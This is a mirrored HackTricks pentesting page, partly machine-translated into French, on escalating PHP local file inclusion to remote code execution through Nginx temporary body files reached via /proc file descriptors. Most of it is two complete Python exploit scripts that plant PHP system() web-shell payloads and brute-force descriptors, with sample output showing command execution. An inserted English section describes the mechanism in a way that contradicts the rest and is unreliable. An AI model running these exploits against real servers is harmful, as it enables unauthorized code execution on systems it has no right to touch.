Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-01-07 10:48:52 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md
Translator workflow af42105553 Translated to French
2023-06-03 13:10:46 +00:00

15 KiB
Raw Blame History

LFI2RCE via fichiers temporaires Nginx

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Configuration vulnérable

  • Code PHP :
<?php include_once($_GET['file']);
  • Configuration FPM / PHP:
...
php_admin_value[session.upload_progress.enabled] = 0
php_admin_value[file_uploads] = 0
...
  • Configuration / renforcement :
...
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
...

Heureusement, PHP est actuellement souvent déployé via PHP-FPM et Nginx. Nginx offre une fonctionnalité de mise en tampon du corps du client facilement négligée, qui écrira des fichiers temporaires si le corps du client (pas limité à POST) est plus grand qu'un certain seuil.

Cette fonctionnalité permet aux LFIs d'être exploités sans aucune autre façon de créer des fichiers, si Nginx s'exécute en tant que même utilisateur que PHP (très souvent fait en tant que www-data).

Code Nginx pertinent:

ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
    ngx_fd_t  fd;

    fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
              access ? access : 0600);

    if (fd != -1 && !persistent) {
        (void) unlink((const char *) name);
    }

    return fd;
}

Il est visible que le fichier temporaire est supprimé immédiatement après avoir été ouvert par Nginx. Heureusement, procfs peut être utilisé pour obtenir une référence au fichier supprimé via une course :

...
/proc/34/fd:
total 0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
...

Note: On ne peut pas inclure directement /proc/34/fd/15 dans cet exemple car la fonction include de PHP résoudrait le chemin en /var/lib/nginx/body/0000001368 (supprimé) qui n'existe pas dans le système de fichiers. Cette petite restriction peut heureusement être contournée par une certaine indirection comme: /proc/self/fd/34/../../../34/fd/15 qui exécutera finalement le contenu du fichier /var/lib/nginx/body/0000001368 supprimé.

Exploitation complète

#!/usr/bin/env python3
import sys, threading, requests

# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details

URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'

# find nginx worker processes 
r  = requests.get(URL, params={
    'file': '/proc/cpuinfo'
})
cpus = r.text.count('processor')

r  = requests.get(URL, params={
    'file': '/proc/sys/kernel/pid_max'
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')

nginx_workers = []
for pid in range(pid_max):
    r  = requests.get(URL, params={
        'file': f'/proc/{pid}/cmdline'
    })

    if b'nginx: worker process' in r.content:
        print(f'[*] nginx worker found: {pid}')

        nginx_workers.append(pid)
        if len(nginx_workers) >= cpus:
            break

done = False

# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
    print('[+] starting uploader')
    while not done:
        requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')

for _ in range(16):
    t = threading.Thread(target=uploader)
    t.start()

# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
    global done

    while not done:
        print(f'[+] brute loop restarted: {pid}')
        for fd in range(4, 32):
            f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
            r  = requests.get(URL, params={
                'file': f,
                'c': f'id'
            })
            if r.text:
                print(f'[!] {f}: {r.text}')
                done = True
                exit()

for pid in nginx_workers:
    a = threading.Thread(target=bruter, args=(pid, ))
    a.start()

LFI to RCE via Nginx temp files

Description

This technique allows an attacker to achieve Remote Code Execution (RCE) by exploiting a Local File Inclusion (LFI) vulnerability in a web application that uses Nginx as a web server.

When Nginx serves a request for a file, it creates a temporary file with the same name as the requested file in the /var/tmp/nginx directory. This file is used to store the response body of the request. If the requested file is not found, Nginx will return an error page that includes the path of the temporary file.

An attacker can use this behavior to achieve RCE by exploiting a LFI vulnerability in the web application. By requesting a file that does not exist, the attacker can force Nginx to create a temporary file with a predictable name. The attacker can then include this file using the LFI vulnerability and inject PHP code into it. When the temporary file is served by Nginx, the injected PHP code will be executed with the privileges of the web server.

Exploitation

To exploit this vulnerability, the attacker needs to find a LFI vulnerability in the web application. Once a LFI vulnerability is found, the attacker can use the following steps to achieve RCE:

  1. Request a non-existent file to force Nginx to create a temporary file with a predictable name.
  2. Include the temporary file using the LFI vulnerability and inject PHP code into it.
  3. Wait for the temporary file to be served by Nginx and execute the injected PHP code.

The following example shows how to exploit this vulnerability using a LFI vulnerability in a PHP script:

http://example.com/index.php?page=/../../../../var/tmp/nginx/client_body/0000000001

In this example, the attacker is requesting the temporary file 0000000001 that was created by Nginx. The attacker can then include this file using the LFI vulnerability and inject PHP code into it.

Mitigation

To mitigate this vulnerability, it is recommended to:

  • Use a Content Security Policy (CSP) to restrict the sources of content that can be loaded by the web application.
  • Use a Web Application Firewall (WAF) to detect and block requests that exploit LFI vulnerabilities.
  • Configure Nginx to use a different directory for temporary files, and restrict access to this directory to prevent unauthorized access.
$ ./pwn.py 127.0.0.1 1337
[*] cpus: 2; pid_max: 32768
[*] nginx worker found: 33
[*] nginx worker found: 34
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] brute loop restarted: 33
[+] brute loop restarted: 34
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Une autre exploitation

Ceci est tiré de https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/

import requests
import threading
import multiprocessing
import threading
import random

SERVER = "http://localhost:8088"
NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41])
# Set the following to True to use the above set of PIDs instead of scanning:
USE_NGINX_PIDS_CACHE = False

def create_requests_session():
    session = requests.Session()
    # Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
    adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
    session.mount('http://', adapter)
    return session

def get_nginx_pids(requests_session):
    if USE_NGINX_PIDS_CACHE:
        return NGINX_PIDS_CACHE
    nginx_pids = set()
    # Scan up to PID 200
    for i in range(1, 200):
        cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text
        if cmdline.startswith("nginx: worker process"):
            nginx_pids.add(i)
    return nginx_pids

def send_payload(requests_session, body_size=1024000):
    try:
        # The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
        payload = '<?php system("/readflag"); ?> //'
        requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
    except:
        pass

def send_payload_worker(requests_session):
    while True:
        send_payload(requests_session)

def send_payload_multiprocess(requests_session):
    # Use all CPUs to send the payload as request body for Nginx
    for _ in range(multiprocessing.cpu_count()):
        p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
        p.start()

def generate_random_path_prefix(nginx_pids):
    # This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
    path = ""
    component_num = random.randint(0, 10)
    for _ in range(component_num):
        pid = random.choice(nginx_pids)
        if random.randint(0, 1) == 0:
            path += f"/proc/{pid}/cwd"
        else:
            path += f"/proc/{pid}/root"
    return path

def read_file(requests_session, nginx_pid, fd, nginx_pids):
    nginx_pid_list = list(nginx_pids)
    while True:
        path = generate_random_path_prefix(nginx_pid_list)
        path += f"/proc/{nginx_pid}/fd/{fd}"
        try:
            d = requests_session.get(SERVER + f"/?action=include&file={path}").text
        except:
            continue
        # Flags are formatted as hxp{<flag>}
        if "hxp" in d:
            print("Found flag! ")
            print(d)

def read_file_worker(requests_session, nginx_pid, nginx_pids):
    # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
    for fd in range(10, 45):
        thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
        thread.start()

def read_file_multiprocess(requests_session, nginx_pids):
    for nginx_pid in nginx_pids:
        p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
        p.start()

if __name__ == "__main__":
    print('[DEBUG] Creating requests session')
    requests_session = create_requests_session()
    print('[DEBUG] Getting Nginx pids')
    nginx_pids = get_nginx_pids(requests_session)
    print(f'[DEBUG] Nginx pids: {nginx_pids}')
    print('[DEBUG] Starting payload sending')
    send_payload_multiprocess(requests_session)
    print('[DEBUG] Starting fd readers')
    read_file_multiprocess(requests_session, nginx_pids)

Laboratoires

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥